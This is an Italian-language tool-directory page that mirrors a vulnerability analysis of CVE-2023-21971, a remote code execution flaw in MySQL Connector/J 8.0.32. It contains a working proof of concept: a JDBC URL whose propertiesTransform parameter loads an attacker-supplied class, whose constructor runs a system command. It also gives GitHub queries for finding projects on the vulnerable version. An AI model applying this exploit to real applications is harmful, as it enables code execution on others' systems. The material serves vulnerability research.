Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE Analisi分析 | Kitploit
Strumenti/GitHubGitHub/avento/cve-2023-21971_analysis
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE Analisi分析

Vedi Repository
323 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-21971 Connector/J RCE Analysis Analisi

Riferimenti

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

Analisi della deserializzazione di MYSQL JDBC - 跳跳糖 (tttang.com)

Panoramica della vulnerabilità

Vulnerabilità nel prodotto MySQL Connectors di Oracle MySQL (componente: Connector/J). Le versioni supportate interessate sono 8.0.32 e precedenti. Una vulnerabilità difficile da sfruttare consente a un utente malintenzionato con privilegi elevati di compromettere MySQL Connector accedendo alla rete tramite più protocolli. Un attacco riuscito richiede l'interazione umana da parte di una persona diversa dall'attaccante. Un attacco riuscito a questa vulnerabilità potrebbe portare a capacità non autorizzate che causano il blocco o crash frequenti e ripetuti del MySQL Connector (DOS completo), nonché l'aggiornamento, l'inserimento o l'eliminazione non autorizzati di alcuni dati accessibili dal MySQL Connector, e l'accesso in lettura non autorizzato a parte dei dati accessibili dal MySQL Connector.

Impatto:

  • affected at 8.0.32 and prior

Ricerca

Cerca su GitHub progetti che dipendono da mysql-connector-java.

root@kitploit:~
filename:pom.xml mysql-connector-java

Cercando su GitHub, si possono trovare progetti che dipendono da una versione specifica di mysql-connector-java.

root@kitploit:~
filename:pom.xml mysql-connector-java 8.0.32

PoC

root@kitploit:~
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

Analisi

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

Qui è evidente che possiamo controllare propertiesTransformClassName, e nel processo di chiamata a newInstance() verrà automaticamente invocato il suo costruttore senza argomenti.

root@kitploit:~
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

È evidente che si possa scrivere un Demo di verifica.

Ambiente di riproduzione

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

root@kitploit:~
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

Qui scarichiamo direttamente il file Jar e lo importiamo nelle Librerie del progetto IDEA.

Test.java

root@kitploit:~
import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

root@kitploit:~
package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

Ma la classe Evil è creata localmente, e nessuna delle dipendenze ha una classe che implementa l'interfaccia ConnectionPropertiesTransform. Questa è una vulnerabilità inutile?

image-20230607145253977

Attraverso esperimenti abbiamo scoperto che in realtà la classe Evil non ha bisogno di implementare l'interfaccia ConnectionPropertiesTransform per eseguire comandi.

image-20230607145521241

Catena di chiamata

root@kitploit:~
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
Scarica lo strumento